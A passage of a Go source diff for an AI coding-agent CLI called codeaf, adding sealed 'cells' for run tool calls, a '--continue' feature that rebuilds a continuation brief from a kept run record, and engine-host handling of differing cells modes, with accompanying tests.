session.Place{}, err + } + return v3MintSessionAs(runCellClass, bucket, workspace, v3StampLaunchDir(v3LaunchDir(), workspace), false) +} + +// workerOptions seats every worker of the run on the cell's seat. +func (c errandCell) workerOptions() []runengine.WorkerOption { + if c.seat == nil { + return nil + } + return []runengine.WorkerOption{runengine.WithSeat(c.seat)} +} + +// pointFrom writes the pointer into the record folder. A run with no cell +// writes nothing. +func (c errandCell) pointFrom(record string) error { + if c.root == "" { + return nil + } + return os.WriteFile(filepath.Join(record, cellPointer), []byte(c.root+"\n"), 0o600) +} + +// cellOf is the cell root a record points at, and empty for a pre-cell record +// or one whose cell is gone: both continue from the record alone. +func cellOf(record string) string { + raw, err := os.ReadFile(filepath.Join(record, cellPointer)) + if err != nil { + return "" + } + root := strings.TrimSpace(string(raw)) + if _, err := cell.OpenAt(root, filepath.Base(root)); err != nil { + return "" + } + return root +} + +// sealedState is what a cell's chain holds of an earlier run: how many turns +// were sealed, the last one, and the calls that began and never finished. +type sealedState struct { + turns int + head string + unfinished []string +} + +// sealedStateOf reads the chain of the cell at root. A cell that cannot be read +// has sealed nothing that can be named. +func sealedStateOf(root string) sealedState { + c, err := cell.OpenAt(root, filepath.Base(root)) + if err != nil { + return sealedState{} + } + turns, _ := cellstore.Turns(c) + state := sealedState{turns: len(turns), unfinished: unfinishedCalls(c)} + if len(turns) > 0 { + state.head = short(turns[len(turns)-1].ID) + } + return state +} + +// unfinishedCalls names each call the call log holds an intent for and no +// completion. They are surfaced and never run again. +func unfinishedCalls(c cell.Cell) []string { + _, rec, err := cellstore.OpenWAL(cellEngine(c).WALPath(c)) + if err != nil { + return nil + } + lines := make([]string, len(rec.Incomplete)) + for i, in := range rec.Incomplete { + lines[i] = fmt.Sprintf("- %s (%s), started %s", in.Tool, in.SideEffect, + time.UnixMilli(in.Started).UTC().Format("2006-01-02T15:04:05Z")) + } + return lines +} + +// empty says the chain holds nothing worth a block in a brief. +func (s sealedState) empty() bool { return s.turns == 0 && len(s.unfinished) == 0 } + +// words is the sealed state as the continuation brief carries it. +func (s sealedState) words() string { + var out strings.Builder + fmt.Fprintf(&out, "%s\nThe run's cell sealed %d turns, the last %s; its files stand as that turn left them.", continueSealedHeader, s.turns, orDash(s.head)) + if len(s.unfinished) > 0 { + out.WriteString("\nThese calls began and never finished. They are not run again; look at what they left in the tree before relying on it:\n") + out.WriteString(strings.Join(s.unfinished, "\n")) + } + return out.String() +} diff --git a/cmd/codeaf/do_cell_test.go b/cmd/codeaf/do_cell_test.go new file mode 100644 index 0000000000..5ec6dc6893 --- /dev/null +++ b/cmd/codeaf/do_cell_test.go @@ -0,0 +1,144 @@ +package main + +import ( + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cell/celltest" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/session" +) + +// doInCell runs one scripted errand and answers the record it kept. +func doInCell(t *testing.T, workspace, task, cellRoot string) string { + t.Helper() + var stdout, stderr strings.Builder + err := doErrand(doRequest{task: task, cellRoot: cellRoot, workspace: workspace, asJSON: true, keep: true, + timeout: 60 * time.Second, stdout: &stdout, stderr: &stderr, + newBeltCompleter: func(string) session.Completer { return finishingSeat(0) }}) + if err != nil { + t.Fatalf("run: %v\n%s\n%s", err, stderr.String(), stdout.String()) + } + lines := strings.Split(strings.TrimSpace(stderr.String()), "\n") + return strings.TrimPrefix(lines[len(lines)-1], "record kept at ") +} + +func sealedTurns(t *testing.T, root string) int { + t.Helper() + c, err := cell.OpenAt(root, filepath.Base(root)) + if err != nil { + t.Fatal(err) + } + turns, err := cellstore.Turns(c) + if err != nil { + t.Fatal(err) + } + return len(turns) +} + +// C27.7 exercises this behaviour without an opt-in switch. +func TestRunInCellSealsItsCallsAndContinuesFromThem(t *testing.T) { + celltest.RequireEngine(t) + beltRunEnv(t) + + t.Setenv("CODEAF_PLANDB_BIN", beltPlandbDoor(t)) + workspace := beltRepoWorkspace(t) + + first := doInCell(t, workspace, "write out.txt", "") + root := cellOf(first) + if root == "" { + t.Fatalf("the record %s points at no cell", first) + } + sealed := sealedTurns(t, root) + if sealed == 0 { + t.Fatal("the run's tool calls sealed nothing") + } + + next, err := continuedBrief(recordID(first), "and one more") + if err != nil || next.cellRoot != root { + t.Fatalf("continuedBrief = %+v, %v; want the cell %s", next, err, root) + } + if !strings.Contains(next.brief, continueSealedHeader) { + t.Fatalf("the brief does not carry the sealed state:\n%s", next.brief) + } + second := doInCell(t, workspace, next.brief, next.cellRoot) + if cellOf(second) != root { + t.Fatalf("the continuation left the cell: %s", cellOf(second)) + } + if again := sealedTurns(t, root); again <= sealed { + t.Fatalf("the continuation sealed no turn: %d then %d", sealed, again) + } +} + +// TestRunWithoutAnEngineMakesNoCell proves C10 at codeaf do's real tool-call door. +func TestRunWithoutAnEngineMakesNoCell(t *testing.T) { + beltRunEnv(t) + t.Cleanup(cell.UseAvailabilityInTests(false)) + t.Setenv("CODEAF_PLANDB_BIN", beltPlandbDoor(t)) + + record := doInCell(t, beltRepoWorkspace(t), "write out.txt", "") + if cellOf(record) != "" { + t.Fatal("a run with no engine points at a cell") + } + if _, err := os.Stat(filepath.Join(record, cellPointer)); !os.IsNotExist(err) { + t.Fatalf("a pointer was written: %v", err) + } + if _, err := os.Stat(home.Join("v3", "projects")); !os.IsNotExist(err) { + t.Fatalf("a project bucket was made: %v", err) + } + if _, err := os.Stat(home.Join("v3", "stores")); !os.IsNotExist(err) { + t.Fatalf("a cell store was written with no engine: %v", err) + } +} + +func TestPreCellRecordContinuesFromTheRecordAlone(t *testing.T) { + home := beltRunEnv(t) + folder := makeRecord(t, home, "77", "rename the logger") + prior, err := readPriorRun(folder) + if err != nil { + t.Fatal(err) + } + if prior.cellRoot != "" || !prior.sealed.empty() { + t.Fatalf("a pre-cell record reads as sealed: %+v", prior) + } + if brief := continuationBrief(prior, ""); strings.Contains(brief, continueSealedHeader) { + t.Fatalf("a pre-cell brief names a sealed state:\n%s", brief) + } +} + +func TestSealedStateIsInTheBriefAndTheAssignmentSurvivesIt(t *testing.T) { + prior := priorRun{assignment: "add a flag", ending: "it was stopped", + sealed: sealedState{turns: 3, head: "abc", unfinished: []string{"- bash (external), started now"}}} + brief := continuationBrief(prior, "finish it") + for _, want := range []string{continueSealedHeader, "sealed 3 turns", "never finished", "not run again", "bash (external)"} { + if !strings.Contains(brief, want) { + t.Fatalf("brief lacks %q:\n%s", want, brief) + } + } + if got := assignmentOf(brief); got != "add a flag" { + t.Fatalf("assignmentOf = %q", got) + } +} + +// C27.7 exercises this behaviour without an opt-in switch. +func TestASealedChainIsNotAnEmptySession(t *testing.T) { + celltest.Available(t) + place, err := v3MintSession(t.TempDir(), t.TempDir(), "", false) + if err != nil { + t.Fatal(err) + } + if !v3EmptySession(place.Dir) { + t.Fatal("a fresh cell is not empty") + } + if err := os.WriteFile(filepath.Join(place.Dir, cellstore.TurnsPath), []byte("{}\n"), 0o600); err != nil { + t.Fatal(err) + } + if v3EmptySession(place.Dir) { + t.Fatal("a cell with sealed turns would be reaped as litter") + } +} diff --git a/cmd/codeaf/do_continue.go b/cmd/codeaf/do_continue.go new file mode 100644 index 0000000000..62a9f20507 --- /dev/null +++ b/cmd/codeaf/do_continue.go @@ -0,0 +1,224 @@ +package main + +import ( + "errors" + "fmt" + "os" + "path/filepath" + "sort" + "strings" + + homepkg "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/plandb" + "github.com/Agent-Field/codeaf/internal/session" +) + +// CONTINUE IS THE SAME ASSIGNMENT PLUS ONE FINDING, run in the tree the last run +// left. A headless run edits the person's own directory in place, so the tree is +// already where it was; what a continuation needs from the record is the +// assignment, how the run ended and what its plan reached. It is composed here +// into the brief of an ordinary new run, so nothing below the door changes. +// +// The wrapper is written around the INNERMOST assignment ([assignmentOf]): a +// continuation of a continuation names the first request once, not a stack of +// wrappers. + +const ( + // recordPrefix is what every private record folder is named with, and what + // an id leaves off: the id is the part a person can type. + recordPrefix = "codeaf-do-" + // continueAssignmentHeader introduces the assignment inside the wrapper. + continueAssignmentHeader = "The original assignment:\n" + // continuePreamble is exactly what [continuationBrief] writes before the + // assignment. It is matched EXACTLY when peeled, never as a substring. + continuePreamble = "Carry on a task a previous run started in this directory. Its edits are already on disk, so parts of the assignment may be done. " + + "Plan only what the assignment still needs; do not redo finished work or add verification the assignment does not ask for.\n\n" + + continueAssignmentHeader + continueEndingHeader = "How the previous run ended: " + continueReachedHeader = "What the previous run's plan reached:" + continueSealedHeader = "What the previous run sealed:" + continueAskedHeader = "What is asked of this round, in the person's words (the assignment above is unchanged):" + // resultClip bounds one task's result in the carried account. + resultClip = 400 +) + +// continueSections is every block the wrapper writes AFTER the assignment, so +// [assignmentOf] knows where an assignment stops. +var continueSections = []string{continueEndingHeader, continueReachedHeader, continueSealedHeader, continueAskedHeader} + +// endingWords is the root's status in the product's own words. +var endingWords = map[plandb.Status]string{ + plandb.StatusDone: "it finished", + plandb.StatusFailed: "it stopped before it finished", + plandb.StatusCancelled: "it was stopped", + plandb.StatusRunning: "it was interrupted", +} + +// priorRun is what a kept record says about a run: the assignment, the ending +// and one line for every task its plan made. +type priorRun struct { + assignment string + ending string + reached []string + // cellRoot is the cell the run worked in, and sealed what that cell's chain + // holds; both are empty for a pre-cell record. + cellRoot string + sealed sealedState +} + +// assignmentOf recovers the innermost assignment from a brief that may itself +// be a continuation, and returns any other brief unchanged. +func assignmentOf(brief string) string { + for { + rest, wrapped := strings.CutPrefix(brief, continuePreamble) + if !wrapped { + return brief + } + end := len(rest) + for _, section := range continueSections { + if at := strings.Index(rest, "\n\n"+section); at >= 0 && at < end { + end = at + } + } + brief = strings.TrimSpace(rest[:end]) + } +} + +// continuationBrief composes the brief of the next round: the wrapper, the +// assignment, the ending, what the plan reached, and the person's words when +// there are any. A block with nothing in it is not written. +func continuationBrief(prior priorRun, words string) string { + var brief strings.Builder + brief.WriteString(continuePreamble + prior.assignment) + brief.WriteString("\n\n" + continueEndingHeader + prior.ending + ".") + if len(prior.reached) > 0 { + brief.WriteString("\n\n" + continueReachedHeader + "\n" + strings.Join(prior.reached, "\n")) + } + if !prior.sealed.empty() { + brief.WriteString("\n\n" + prior.sealed.words()) + } + if words = strings.TrimSpace(words); words != "" { + brief.WriteString("\n\n" + continueAskedHeader + "\n" + words) + } + return brief.String() +} + +// readPriorRun reads a kept record's plan. It opens the store the way a run +// does, so a folder that is not a record is refused rather than created. +func readPriorRun(folder string) (priorRun, error) { + path := filepath.Join(folder, "plandb.db") + if _, err := os.Stat(path); err != nil { + return priorRun{}, fmt.Errorf("%s holds no record of a run", folder) + } + store, err := plandb.Open(path, "", "", "", "") + if err != nil { + return priorRun{}, fmt.Errorf("read the record at %s: %w", folder, err) + } + defer store.Close() + root := store.Task(store.RootID()) + if root == nil { + return priorRun{}, fmt.Errorf("the record at %s has no run in it", folder) + } + prior := priorRun{assignment: assignmentOf(strings.TrimSpace(root.Description)), ending: endingWords[root.Status]} + if prior.ending == "" { + prior.ending = "it did not finish" + } + for _, task := range store.Tasks() { + if task.ID != root.ID { + prior.reached = append(prior.reached, reachedLine(task)) + } + } + if prior.cellRoot = cellOf(folder); prior.cellRoot != "" { + prior.sealed = sealedStateOf(prior.cellRoot) + } + return prior, nil +} + +// reachedLine is one task of the earlier plan: how it stands and what it said. +func reachedLine(task *plandb.Task) string { + said := strings.TrimSpace(task.Result + task.Error) + line := fmt.Sprintf("- %s [%s]", task.Title, task.Status) + if said == "" { + return line + } + return line + ": " + clip(firstLine(said), resultClip) +} + +// resolveRecord turns what a person typed into a record folder: the id `record +// kept at` printed, an unambiguous start of one, or the folder's own path. +func resolveRecord(id string) (string, error) { + id = strings.TrimSpace(id) + if id == "" { + return "", errors.New("--continue needs the id of a run · `record kept at` names it") + } + if info, err := os.Stat(id); err == nil && info.IsDir() { + return id, nil + } + found, err := recordsStartingWith(recordPrefix + strings.TrimPrefix(id, recordPrefix)) + switch { + case err != nil || len(found) == 0: + return "", fmt.Errorf("no kept run is named %q · a run keeps its record when it did not finish, or with --keep", id) + case len(found) > 1: + return "", fmt.Errorf("%q names %d kept runs · say more of it", id, len(found)) + } + return found[0], nil +} + +// recordsStartingWith lists the record folders whose name starts with prefix. +func recordsStartingWith(prefix string) ([]string, error) { + runs := homepkg.Join("runs") + entries, err := os.ReadDir(runs) + if err != nil { + return nil, err + } + var found []string + for _, entry := range entries { + if entry.IsDir() && strings.HasPrefix(entry.Name(), prefix) { + found = append(found, filepath.Join(runs, entry.Name())) + } + } + sort.Strings(found) + return found, nil +} + +// recordID is the part of a record folder's name a person types after +// `--continue`. +func recordID(folder string) string { + return strings.TrimPrefix(filepath.Base(folder), recordPrefix) +} + +// continueHint is the stderr line that makes a kept record findable as a run +// to carry on. +func continueHint(folder string) string { + return "continue it with: codeaf do --continue " + recordID(folder) +} + +// continuation is what a continued run is handed: the brief of the next round, +// the assignment it carries on, and the cell it goes on working in ("" when the +// record has none). +type continuation struct { + brief, assignment, cellRoot string +} + +// continuedBrief is the whole door: an id and the person's words in, the next +// round out. +func continuedBrief(id, words string) (continuation, error) { + folder, err := resolveRecord(id) + if err != nil { + return continuation{}, err + } + prior, err := readPriorRun(folder) + if err != nil { + return continuation{}, err + } + return continuation{continuationBrief(prior, words), prior.assignment, prior.cellRoot}, nil +} + +// continuesOnRunRoad says the run road can carry this request on: the older engine +// keeps its record in another store, which --continue does not read. +func continuesOnRunRoad() error { + if session.BashBeltAsked() { + return nil + } + return errors.New("--continue reads a run's record, which only the run engine keeps · unset CODEAF_TASK_BELT to use it") +} diff --git a/cmd/codeaf/do_continue_test.go b/cmd/codeaf/do_continue_test.go new file mode 100644 index 0000000000..958b686341 --- /dev/null +++ b/cmd/codeaf/do_continue_test.go @@ -0,0 +1,176 @@ +package main + +import ( + "context" + "errors" + "os" + "path/filepath" + "strings" + "sync" + "testing" + "time" + + "github.com/Agent-Field/agentfield/sdk/go/ai" + "github.com/Agent-Field/codeaf/internal/session" +) + +func TestAssignmentOfPeelsExactlyOneWrapperAtATime(t *testing.T) { + first := continuationBrief(priorRun{assignment: "add a flag", ending: "it was stopped"}, "") + second := continuationBrief(priorRun{assignment: assignmentOf(first), ending: "it finished"}, "also a test") + if got := assignmentOf(second); got != "add a flag" { + t.Fatalf("assignment after two rounds = %q", got) + } + if strings.Count(second, continuePreamble) != 1 { + t.Fatalf("a continuation of a continuation nested:\n%s", second) + } +} + +func TestAssignmentOfLeavesAPreambleInsideAnAssignmentAlone(t *testing.T) { + own := "explain this sentence: " + continuePreamble + "then stop" + if got := assignmentOf(own); got != own { + t.Fatalf("a preamble inside an assignment was peeled: %q", got) + } +} + +func TestContinuationBriefWritesOnlyTheBlocksItHas(t *testing.T) { + bare := continuationBrief(priorRun{assignment: "do x", ending: "it finished"}, " ") + for _, header := range []string{continueReachedHeader, continueAskedHeader} { + if strings.Contains(bare, header) { + t.Fatalf("empty block %q was written:\n%s", header, bare) + } + } + full := continuationBrief(priorRun{assignment: "do x", ending: "it finished", reached: []string{"- a [done]"}}, "also y") + for _, want := range []string{"do x", continueEndingHeader + "it finished.", "- a [done]", continueAskedHeader + "\nalso y"} { + if !strings.Contains(full, want) { + t.Fatalf("brief lacks %q:\n%s", want, full) + } + } +} + +func TestPersonsWordsNeverEnterTheAssignment(t *testing.T) { + brief := continuationBrief(priorRun{assignment: "do x", ending: "it finished"}, "also y") + if got := assignmentOf(brief); got != "do x" { + t.Fatalf("assignment = %q", got) + } +} + +func makeRecord(t *testing.T, home, name, brief string) string { + t.Helper() + folder := filepath.Join(home, "runs", recordPrefix+name) + store, err := session.OpenRunPlanAt(filepath.Join(folder, "plandb.db"), "title", brief) + if err != nil { + t.Fatal(err) + } + defer store.Close() + if err := store.EndRoot("limit"); err != nil { + t.Fatal(err) + } + return folder +} + +func TestResolveRecordByIdPrefixAndPath(t *testing.T) { + home := beltRunEnv(t) + one := makeRecord(t, home, "1234567", "a") + two := makeRecord(t, home, "1299999", "b") + for id, want := range map[string]string{"1234567": one, recordPrefix + "1234567": one, "1234": one, "1299": two, one: one} { + if got, err := resolveRecord(id); err != nil || got != want { + t.Fatalf("resolveRecord(%q) = %q, %v; want %q", id, got, err, want) + } + } + for _, id := range []string{"12", "77", ""} { + if got, err := resolveRecord(id); err == nil { + t.Fatalf("resolveRecord(%q) = %q, want a refusal", id, got) + } + } +} + +func TestReadPriorRunReadsAssignmentAndEnding(t *testing.T) { + home := beltRunEnv(t) + folder := makeRecord(t, home, "42", "rename the logger") + prior, err := readPriorRun(folder) + if err != nil { + t.Fatal(err) + } + if prior.assignment != "rename the logger" || prior.ending != endingWords["failed"] { + t.Fatalf("prior = %+v", prior) + } + if _, err := readPriorRun(t.TempDir()); err == nil { + t.Fatal("a folder with no record was read") + } +} + +// seenBriefs records every prompt a worker was handed, and answers as inner. +type seenBriefs struct { + inner session.Completer + mu sync.Mutex + docs []string +} + +func (s *seenBriefs) CompleteWithMessages(ctx context.Context, msgs []ai.Message, opts ...ai.Option) (*ai.Response, error) { + s.mu.Lock() + s.docs = append(s.docs, beltDocument(msgs)) + s.mu.Unlock() + return s.inner.CompleteWithMessages(ctx, msgs, opts...) +} + +func (s *seenBriefs) sawAll(words ...string) bool { + s.mu.Lock() + defer s.mu.Unlock() + for _, doc := range s.docs { + found := true + for _, word := range words { + found = found && strings.Contains(doc, word) + } + if found { + return true + } + } + return false +} + +func TestContinueCarriesAFailedRunToDone(t *testing.T) { + beltRunEnv(t) + t.Setenv("CODEAF_PLANDB_BIN", beltPlandbDoor(t)) + workspace := beltRepoWorkspace(t) + failing := &beltSeat{ever: func(context.Context, []ai.Message) (*ai.Response, error) { + return nil, errors.New("scripted worker failure") + }} + var stdout, stderr strings.Builder + _ = doErrand(doRequest{task: "write out.txt", workspace: workspace, asJSON: true, timeout: 5 * time.Second, + stdout: &stdout, stderr: &stderr, newBeltCompleter: func(string) session.Completer { return failing }}) + folder := keptRunFolder(t, stderr.String()) + if !strings.Contains(stderr.String(), continueHint(folder)) { + t.Fatalf("stderr does not say how to continue:\n%s", stderr.String()) + } + + got, err := continuedBrief(recordID(folder), "and say so") + brief, assignment := got.brief, got.assignment + if err != nil || assignment != "write out.txt" { + t.Fatalf("continuedBrief = %q, %q, %v", brief, assignment, err) + } + seat := &seenBriefs{inner: finishingSeat(0)} + stdout.Reset() + stderr.Reset() + err = doErrand(doRequest{task: brief, assignment: assignment, workspace: workspace, asJSON: true, + timeout: 60 * time.Second, stdout: &stdout, stderr: &stderr, + newBeltCompleter: func(string) session.Completer { return seat }}) + if err != nil { + t.Fatalf("continued run: %v\n%s\n%s", err, stderr.String(), stdout.String()) + } + if stop := doEnvelopeFields(t, stdout.String())["stop"]; stop != "done" { + t.Fatalf("continued run stop = %v", stop) + } + if !seat.sawAll("write out.txt", continueEndingHeader, "and say so") { + t.Fatalf("no worker was handed the assignment, the ending and the finding:\n%v", seat.docs) + } + if _, err := os.Stat(filepath.Join(workspace, "out.txt")); err != nil { + t.Fatalf("continued run left no file: %v", err) + } +} + +func TestContinueRefusesAnUnknownRun(t *testing.T) { + beltRunEnv(t) + if _, err := continuedBrief("nope", ""); err == nil || !strings.Contains(err.Error(), `"nope"`) { + t.Fatalf("unknown id error = %v", err) + } +} diff --git a/cmd/codeaf/do_residenthost_test.go b/cmd/codeaf/do_residenthost_test.go new file mode 100644 index 0000000000..8aee09d932 --- /dev/null +++ b/cmd/codeaf/do_residenthost_test.go @@ -0,0 +1,16 @@ +package main + +import ( + "testing" + + "github.com/Agent-Field/codeaf/internal/lease" +) + +func TestResidentHostReadsLikeEveryOtherComputerLabel(t *testing.T) { + cases := map[string]string{"studio.local": "studio", " desk ": "desk", "": "unknown host"} + for host, want := range cases { + if got := residentHost(&lease.Resident{Host: host}); got != want { + t.Errorf("residentHost(%q) = %q; want %q", host, got, want) + } + } +} diff --git a/cmd/codeaf/doctor.go b/cmd/codeaf/doctor.go index ef1d939b3f..f5cfdb28e2 100644 --- a/cmd/codeaf/doctor.go +++ b/cmd/codeaf/doctor.go @@ -41,6 +41,9 @@ type doctorSnapshot struct { // worth changing: the command exists to tell somebody why nothing works, // and a missing key is the most common answer there is. Key keyReport + // Cells is what the cells' working files hold against the disk budget, "" when + // they hold nothing. + Cells string } // fallbackKeyEnv is the compatibility variable [config.Load] accepts for an @@ -124,6 +127,7 @@ func runDoctorWith(args []string, output io.Writer, dailyBudget float64) error { // The key is read from the same profile, and for the same reason: `--db` // moves the store and moves nothing about who this machine can talk to. snapshot.Key = readKeyReport(strings.TrimSpace(env.Get(config.ProfileDirEnv))) + snapshot.Cells = cellsUsage() _, err = io.WriteString(output, formatDoctor(snapshot)) return err } @@ -240,6 +244,9 @@ func formatDoctor(snapshot doctorSnapshot) string { "store", brain, "resident", snapshot.Resident, "spend", spend) + if snapshot.Cells != "" { + block += fmt.Sprintf("%-16s %s\n", "cells", snapshot.Cells) + } if line := formatCallLog(snapshot.CallLog); line != "" { block += fmt.Sprintf("%-16s %s\n", "model calls", line) } diff --git a/cmd/codeaf/engine.go b/cmd/codeaf/engine.go index 225456f1ba..27c600701c 100644 --- a/cmd/codeaf/engine.go +++ b/cmd/codeaf/engine.go @@ -53,6 +53,7 @@ import ( "time" "github.com/Agent-Field/codeaf/internal/buildinfo" + "github.com/Agent-Field/codeaf/internal/cell" "github.com/Agent-Field/codeaf/internal/config" "github.com/Agent-Field/codeaf/internal/enginehost" "github.com/Agent-Field/codeaf/internal/remote" @@ -247,6 +248,9 @@ type engineBuild struct { // Binary is the file this process runs from, "" when the platform will // not say. Binary string + // Cells is the cells mode this process runs in. A host answers with its + // own, and the door settles the two ([settleCellsMode]). + Cells bool } // thisEngineBuild is the build that is running, measured the way a host @@ -256,6 +260,7 @@ func thisEngineBuild() engineBuild { Build: buildinfo.Identity(), BuiltAt: enginehost.BuildMoment(), Binary: enginehost.ThisBinary(), + Cells: cell.Available(), } } @@ -302,9 +307,20 @@ func clearStaleEngineHostAs(workspace string, me engineBuild) (string, error) { return "", nil } host := held.Self + // A relay choice governs every session the host serves. Joining busy work + // with the old choice would ignore this terminal's off switch or address. + if held.Answered && host.Version == remote.Version && enginehost.SyncDiffers(workspace) { + if err := enginehost.Retire(workspace, false); err != nil { + if errors.Is(err, enginehost.ErrHostBusy) { + return "", &staleHost{reason: differentEngineEnvironmentSentence(hostWorkspace(host, workspace))} + } + return "", err + } + return "the engine restarted to pick up this terminal's sync setting", nil + } if held.Answered && sameEngineBuild(host, me) { if !enginehost.EnvironmentDiffers(workspace) { - return "", nil + return settleCellsMode(workspace, host, me) } // THE HOST DECIDES WHETHER IT CAN GO. Never send Anyway for an // environment change: a window, turn, question or background work must @@ -317,7 +333,7 @@ func clearStaleEngineHostAs(workspace string, me engineBuild) (string, error) { if held.Answered && !host.BuiltAt.Before(me.BuiltAt) { // A NEWER BUILD (or a tie) IS NOT REPLACED FROM HERE. Same wire: join it. if host.Version == remote.Version { - return "", nil + return settleCellsMode(workspace, host, me) } return "", &staleHost{reason: newerEngineHostSentence(hostWorkspace(host, workspace))} } @@ -400,6 +416,72 @@ func differentEngineEnvironmentSentence(workspace string) string { return "the background engine for this folder started with a different environment than this terminal and is still in use — after work finishes, close every window for this workspace and reopen. To stop now (interrupts active turns and tasks), run " + stop } +// settleCellsMode checks the capability of an already-running host before +// a new window relies on it. An idle older host can retire; a busy host keeps +// its work until the person finishes it or explicitly stops that workspace. +func settleCellsMode(workspace string, host remote.HostSelf, me engineBuild) (string, error) { + if host.Cells == me.Cells { + return "", nil + } + err := enginehost.Retire(workspace, false) + if errors.Is(err, enginehost.ErrHostBusy) { + return "", &staleHost{reason: cellsHostBusySentence(host.Cells, hostWorkspace(host, workspace))} + } + if err != nil { + return "", err + } + return cellsRestartedSentence(me.Cells), nil +} + +// cellsMode describes the capability an older host reported. +func cellsMode(on bool) string { + if on { + return "with moving chats" + } + return "without moving chats" +} + +// cellsStatus describes actual support without suggesting a feature switch. +func cellsStatus(available bool) string { + if available { + return "available" + } + return "unavailable" +} + +// cellsRestartedSentence is the line owed for replacing an idle host. +func cellsRestartedSentence(now bool) string { + return fmt.Sprintf("restarted the idle engine because it ran %s; %s available now", cellsMode(!now), cellsCapability(now)) +} + +// cellsCapability names the capability after an idle host has been replaced. +func cellsCapability(available bool) string { + if available { + return "moving chats" + } + return "ordinary chats" +} + +// cellsHostBusySentence is the refusal for a host in the other mode that is +// still holding work. It names the workspace in the command, for the reason +// [staleEngineHostSentence] gives. +func cellsHostBusySentence(hostCells bool, workspace string) string { + stop := "codeaf engine --stop" + if workspace = strings.TrimSpace(workspace); workspace != "" { + stop += " --workspace " + workspace + } + return fmt.Sprintf("engine: the engine on %s runs %s and something is still going in it — let that finish, or run %s, then open again", + machineOrThis(), cellsMode(hostCells), stop) +} + +// machineOrThis is this machine's name, or "this machine" when it has none. +func machineOrThis() string { + if name := strings.TrimSpace(remote.MachineName()); name != "" { + return name + } + return "this machine" +} + // sameEngineBuild is the host being this build: the same wire, the same source, // and — when the host names its file — the same file. A host that does not name // its file is judged on the source alone, which is every host from before the @@ -687,9 +769,12 @@ func writeEngineStatus(out io.Writer, workspace string, held enginehost.Holder, fmt.Fprintf(out, " started %s (%s ago)\n", host.Started.Local().Format("2006-01-02 15:04"), roughAge(now.Sub(host.Started))) } if held.Answered { + fmt.Fprintf(out, " chat moves %s\n", cellsStatus(host.Cells)) fmt.Fprintf(out, " windows %d attached · %s open\n", host.Surfaces, countWord(host.Conversations, "conversation", "conversations")) if host.Busy { fmt.Fprintln(out, " in use yes — an attached window, turn, task or question keeps it running") + } else if host.Conversations > 0 { + fmt.Fprintf(out, " holding idle chats keep their lock for %s after the last window closes, then the engine lets go\n", roughAge(enginehost.SessionIdleAfter())) } } if enginehost.EnvironmentDiffers(workspace) { @@ -850,6 +935,7 @@ func runEngineHost(workspaceFlag, sessionFlag string) error { return fmt.Errorf("open %s: %w", workspace, err) } err = enginehost.Run(workspace, enginehost.Options{ + Cells: cell.Available(), Boot: func(hello remote.Hello) (*remote.Engine, error) { return bootEngine(hello, workspace, sessionFlag) }, // usage writer owner: see CloseUsage after the host returns @@ -1102,7 +1188,7 @@ func bootEngine(hello remote.Hello, workspaceFlag, sessionFlag string) (*remote. Workspace: workspace, SessionFile: transcript, Resumed: resumed, - Note: notice, + Note: v3Interrupted(cfg, notice), // The shape this conversation ended up with, for the surface to compare // against what it asked for. It is the shape that was APPLIED, so a // hello that joined a conversation somebody else opened reads the other diff --git a/cmd/codeaf/engine_cells_test.go b/cmd/codeaf/engine_cells_test.go new file mode 100644 index 0000000000..1b58530b0c --- /dev/null +++ b/cmd/codeaf/engine_cells_test.go @@ -0,0 +1,79 @@ +package main + +// C27.3 requires an older host without moving-chat support to be retired +// before a new window relies on that capability. + +import ( + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/buildinfo" + "github.com/Agent-Field/codeaf/internal/enginehost" + "github.com/Agent-Field/codeaf/internal/remote" +) + +func sameBuildHost(cells, busy bool) remote.HostSelf { + return remote.HostSelf{Version: remote.Version, Build: buildinfo.Identity(), Cells: cells, Busy: busy} +} + +// C27.7 exercises this behaviour without an opt-in switch. +func TestAnIdleEngineInTheOtherCellsModeIsRestarted(t *testing.T) { + t.Setenv("CODEAF_SYNC_URL", "") + shortEngineHome(t) + workspace := "/home/somebody/api" + standIn(t, workspace, sameBuildHost(false, false), false) + me := thisEngineBuild() + me.Cells = true + + note, err := clearStaleEngineHostAs(workspace, me) + if err != nil { + t.Fatalf("an idle engine in the other mode was refused: %v", err) + } + if !strings.Contains(note, "without moving chats") || !strings.Contains(note, "moving chats available now") { + t.Fatalf("the restart line does not name both modes: %q", note) + } + if conn, err := enginehost.Dial(workspace); err == nil { + _ = conn.Close() + t.Fatal("the engine in the other mode was still answering") + } +} + +// C27.7 exercises this behaviour without an opt-in switch. +func TestABusyEngineInTheOtherCellsModeIsRefusedAndLeftRunning(t *testing.T) { + t.Setenv("CODEAF_SYNC_URL", "") + shortEngineHome(t) + workspace := "/home/somebody/api" + standIn(t, workspace, sameBuildHost(false, true), false) + me := thisEngineBuild() + me.Cells = true + + _, err := clearStaleEngineHostAs(workspace, me) + if err == nil { + t.Fatal("a busy engine in the other mode was attached to in silence") + } + for _, want := range []string{"without moving chats", "codeaf engine --stop --workspace " + workspace} { + if !strings.Contains(err.Error(), want) { + t.Fatalf("the refusal %q does not say %q", err, want) + } + } + if conn, err := enginehost.Dial(workspace); err != nil { + t.Fatalf("a busy engine was stopped: %v", err) + } else { + _ = conn.Close() + } +} + +// C27.7 exercises this behaviour without an opt-in switch. +func TestAnEngineInTheSameCellsModeIsJoinedWithoutAWord(t *testing.T) { + t.Setenv("CODEAF_SYNC_URL", "") + shortEngineHome(t) + workspace := "/home/somebody/api" + standIn(t, workspace, sameBuildHost(true, true), false) + me := thisEngineBuild() + me.Cells = true + + note, err := clearStaleEngineHostAs(workspace, me) + if err != nil || note != "" { + t.Fatalf("a matching engine was not joined quietly: %q, %v", note, err) + } +} diff --git a/cmd/codeaf/engine_environment_test.go b/cmd/codeaf/engine_environment_test.go index 8947402b17..ca027c5f7c 100644 --- a/cmd/codeaf/engine_environment_test.go +++ b/cmd/codeaf/engine_environment_test.go @@ -14,6 +14,7 @@ import ( "testing" "time" + "github.com/Agent-Field/codeaf/internal/cell" "github.com/Agent-Field/codeaf/internal/config" "github.com/Agent-Field/codeaf/internal/enginehost" "github.com/Agent-Field/codeaf/internal/env" @@ -37,7 +38,7 @@ func TestEngineEnvironmentHostHelper(t 